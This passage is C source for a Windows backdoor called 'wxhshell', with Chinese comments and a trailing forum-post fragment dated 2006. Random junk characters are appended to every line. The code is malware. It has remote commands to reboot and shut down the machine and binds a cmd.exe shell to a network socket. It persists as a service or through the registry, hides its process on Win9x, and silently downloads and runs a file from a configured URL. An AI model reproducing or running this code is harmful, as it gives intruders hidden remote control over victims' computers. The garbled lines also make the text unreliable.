zG^|W8um_  
    switch(cmd[0]) { b8FSVV 7@  
  J?R\qEq%  
  // 帮助 |3]#SqX  
  case '?': { oy[>`qyz  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); AHB_[i'>7  
    break; z^,P2kqK_  
  } {TOz}=R"3h  
  // 安装 @~ 6,8nQ  
  case 'i': { ro}WBv  
    if(Install()) T<ka4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x<Ac\Cx  
    else }.L:(z^L,Y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m#Y[EPF=|  
    break; %4$J.6M  
    } 0bz':M#k &  
  // 卸载 Q8h0:Q  
  case 'r': { SJ7-lben3  
    if(Uninstall()) s#BSZP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o;[cApiQ,2  
    else qu`F,OG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r]3v.GZy  
    break; MkK6.qV\z  
    } r-e-2y7  
  // 显示 wxhshell 所在路径 K^m`3N"  
  case 'p': { M&SY2\\TB  
    char svExeFile[MAX_PATH]; G=( ja?d  
    strcpy(svExeFile,"\n\r"); QHHj.ZY  
      strcat(svExeFile,ExeFile); 5>\Lk>rI  
        send(wsh,svExeFile,strlen(svExeFile),0); ./qbWr`L  
    break; WupONrH1e  
    } y F;KyY{  
  // 重启 pP)> x*1  
  case 'b': { 3gQ2wP*K  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); u OB`A-K  
    if(Boot(REBOOT)) ]N^>>k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DR<=C`<4(  
    else { CyKupJ.Fq  
    closesocket(wsh); OI)U c .  
    ExitThread(0); 3J}/<&wv  
    } 9jJ:T$}  
    break; rd ]dD G  
    } )U +Pt98"  
  // 关机 - (VX+XHW  
  case 'd': { czcsXBl[  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 1Gp| _8  
    if(Boot(SHUTDOWN)) jc7NYoT:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MT^krv(G  
    else { AiUK#I  
    closesocket(wsh); 0 czEA  
    ExitThread(0); tD+K4 ^  
    } CuA A)Bj  
    break; +GlG.6  
    } ;@/vKA3l.  
  // 获取shell +"3K)9H  
  case 's': { qwvch^?>FQ  
    CmdShell(wsh); m%.7l8vT  
    closesocket(wsh); Rf#t|MW*#  
    ExitThread(0); *3h!&.zm  
    break; WV,j <x9w  
  } nD!5I@D  
  // 退出 V~4yS4  
  case 'x': { )(DX]Tr`  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); FQO>%=&4  
    CloseIt(wsh); L=)Arj@q  
    break; B'-L-]\H  
    } ^T_2 s  
  // 离开 lk%W2N5  
  case 'q': { 7rjS.  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); jB0ED0)wX  
    closesocket(wsh); h%!N!\  
    WSACleanup();  $&to(  
    exit(1); -n]E\"  
    break; (6~~e$j  
        } gB}UzEj^<  
  } ky{-NrK  
  } T)#eaz$4W  
B$&&'i%  
  // 提示信息 rRd8W}B  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I>%@[h,+  
} Jsw%.<  
  } t.6gyrV7><  
4<l&cP  
  return; Q2RO&dL 9  
} [LrA_N  
"6xTh0D  
// shell模块句柄 # NR 9\  
int CmdShell(SOCKET sock) 6),VN>j  
{ "&N1$$  
STARTUPINFO si; "|%'/p  
ZeroMemory(&si,sizeof(si)); `'}c- Q  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +,A7XBn  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <|c[ #f  
PROCESS_INFORMATION ProcessInfo; r^$WX@ t&  
char cmdline[]="cmd"; $ZfoJR]%  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); RMO6kbfP  
  return 0; %N0cp@Vz  
} _5SA(0D#9  
G8Sx;Xi  
// 自身启动模式 h0n,WU/Kw  
int StartFromService(void) )Qixde>]p  
{ [;8vO=Z  
typedef struct D_-<V,3t  
{ AZ& ]@Ao  
  DWORD ExitStatus; oZ"93]3-  
  DWORD PebBaseAddress; K!onV3mR  
  DWORD AffinityMask; h;`]rK;g  
  DWORD BasePriority; ZX03FJL7u  
  ULONG UniqueProcessId; }5a$Ka-  
  ULONG InheritedFromUniqueProcessId; u|uPvbM  
}   PROCESS_BASIC_INFORMATION; (H-Y-Lk+  
\ws^L, h  
PROCNTQSIP NtQueryInformationProcess; Gw0MDV&[  
)kuw&SH,  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; E1V;eoK.D  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; (#%R'9R v  
G2e0\}q  
  HANDLE             hProcess; `Wy8g?d;bn  
  PROCESS_BASIC_INFORMATION pbi; 6<+8[o  
(N`x  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); d@0&  
  if(NULL == hInst ) return 0; *m 9,_~t  
6d# V  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (v$$`zh  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1pHt3Vc(G  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :c^9\8S  
#E#.`/4  
  if (!NtQueryInformationProcess) return 0; GPVqt"TY  
PTFe>~vr*  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); M~#% [?iU  
  if(!hProcess) return 0; CxW-lU3G`  
sPUn"7  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; cri.kr9Y  
s u)AIvF{  
  CloseHandle(hProcess); }ikJ a  
! fSM6Vo  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Bq)aA)gF  
if(hProcess==NULL) return 0; d:1TSJff%/  
Nw=mSW^E  
HMODULE hMod; s0bWg$  
char procName[255]; yqKERdm  
unsigned long cbNeeded; *cnxp-)ub  
UJ8V%0  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); b+qdl`V d  
E ^<.;  
  CloseHandle(hProcess); t:<dirw,o  
f*Dy>sw  
if(strstr(procName,"services")) return 1; // 以服务启动 ~Q/G_^U:  
S|HnmkV66  
  return 0; // 注册表启动 j,BiWgj$8  
} !;ipLC;e}  
"8|a4Y+F  
// 主模块 P-~kxb9aa  
int StartWxhshell(LPSTR lpCmdLine) Lm}J& ^>  
{ =9@t6   
  SOCKET wsl; 0zvA>4cq)  
BOOL val=TRUE;  }FoO  
  int port=0; 84uHK)h<%  
  struct sockaddr_in door; pHkhs{/X  
E8Q Y6gKF  
  if(wscfg.ws_autoins) Install(); k yI-nE  
Rh.CnCbM  
port=atoi(lpCmdLine); 5,n{-V  
m:A1wL4c6  
if(port<=0) port=wscfg.ws_port; GI40Ztms  
y8QJ=v* B  
  WSADATA data; 6xsB#v*  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; J&bhR9sF  
rBY{&JhS  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   |KQkmc  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -g;cg7O#(  
  door.sin_family = AF_INET; KqH_?r`  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); a1n j}1M%  
  door.sin_port = htons(port); S66. .sa  
{~RS$ |  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { b\^q9fy  
closesocket(wsl); s wIJmA  
return 1; %Z#s9QC  
} [esR!})  
}co*%F{1  
  if(listen(wsl,2) == INVALID_SOCKET) { RN0=jo!58  
closesocket(wsl); Z<,$Xv L  
return 1; <#r/4a"V  
} *tD`X( K  
  Wxhshell(wsl); (T]<  
  WSACleanup(); LAT%k2%Wx  
3?rYt:Uf!  
return 0; 8w|-7$ v  
8^FAeV#  
} F3L'f2yBG  
#& 5}  
// 以NT服务方式启动 M((]> *g  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) }#h>*+Q  
{ Q5:8$ C}+  
DWORD   status = 0; :J{| /"==  
  DWORD   specificError = 0xfffffff; H ^<LnYZ  
n)'5h &#  
  serviceStatus.dwServiceType     = SERVICE_WIN32; rL=_z^.P  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; |d B`URP  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  c>(`X@KL  
  serviceStatus.dwWin32ExitCode     = 0; #kt3l59Ty  
  serviceStatus.dwServiceSpecificExitCode = 0; M_Qv{   
  serviceStatus.dwCheckPoint       = 0; J0eJRs  
  serviceStatus.dwWaitHint       = 0; jbU=D:|  
>P/Nb]C  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1 ynjDin<  
  if (hServiceStatusHandle==0) return; T1&^IO-F7$  
3Wl,T5}{  
status = GetLastError(); ]$VYzE2e  
  if (status!=NO_ERROR) .9Y,N&V<H  
{ M#PutrH  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; |Qe#[Q7  
    serviceStatus.dwCheckPoint       = 0; V#Px  
    serviceStatus.dwWaitHint       = 0; T .57Okp  
    serviceStatus.dwWin32ExitCode     = status; g,0u_$U  
    serviceStatus.dwServiceSpecificExitCode = specificError; JGB 9Z   
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1Y-m=~J7  
    return; pRAdo="  
  } wf= s-C  
dD Zds k+!  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ]^j'2nJv0  
  serviceStatus.dwCheckPoint       = 0; xp4w9.X5(  
  serviceStatus.dwWaitHint       = 0; yl=_ /'*  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); UY!N"[&  
} 5:o$]LkOWC  
d? Old  
// 处理NT服务事件,比如:启动、停止 EMV<PshW=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) w!=Fi  
{ p? dXs^ c  
switch(fdwControl) *+-L`b{SX  
{ TC=djC4$/  
case SERVICE_CONTROL_STOP: R6N+c\W  
  serviceStatus.dwWin32ExitCode = 0; Y}/e" mp  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; D]s8w  
  serviceStatus.dwCheckPoint   = 0; x'.OLXx>  
  serviceStatus.dwWaitHint     = 0; z`^DQ8+\j  
  { ?)ROQ1-#@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); g@<E0 q&`$  
  } ;0R>Dg  
  return; krw_1Mm  
case SERVICE_CONTROL_PAUSE: c:R`]4o  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Dj~]]  
  break; Y~</vz+H  
case SERVICE_CONTROL_CONTINUE: y$]gmg  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 4a&*?=GG  
  break; TaZw_)4c  
case SERVICE_CONTROL_INTERROGATE: XYOPX>$T  
  break; Gg\805L@  
}; wQ4IQ!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9 NO^ '  
} !w!}`|q  
qOusO6  
// 标准应用程序主函数 h|MTE~   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) lDQ'  
{ $8{|25 *E  
QEavbh^S  
// 获取操作系统版本 @-~ )M_  
OsIsNt=GetOsVer(); Q UQ"2oC  
GetModuleFileName(NULL,ExeFile,MAX_PATH); m5G9 B-\?  
TJB) ]d<  
  // 从命令行安装 <HLe,  
  if(strpbrk(lpCmdLine,"iI")) Install(); *6-fvqCv  
Zewx*Y|  
  // 下载执行文件 hr+,-j  
if(wscfg.ws_downexe) { x}`]9XQ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) qm.30 2  
  WinExec(wscfg.ws_filenam,SW_HIDE); +EmT+$>J  
} ># q2KXh  
yN0!uzdW*  
if(!OsIsNt) { AX Y.80+  
// 如果时win9x,隐藏进程并且设置为注册表启动 T4OH,^J  
HideProc(); = }&@XRLJ  
StartWxhshell(lpCmdLine); ]y4(WG;:  
} 3c"$@W:>  
else g=*`6@_=  
  if(StartFromService()) _:: q S!  
  // 以服务方式启动 rc*iL   
  StartServiceCtrlDispatcher(DispatchTable); 1|?8g2Vf  
else f1a >C  
  // 普通方式启动 3H_mR j9th  
  StartWxhshell(lpCmdLine); y;!qE~!3  
`Jvy~T  
return 0; W;Rx(o>  
}
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只看该作者 1 发表于: 2006-10-10
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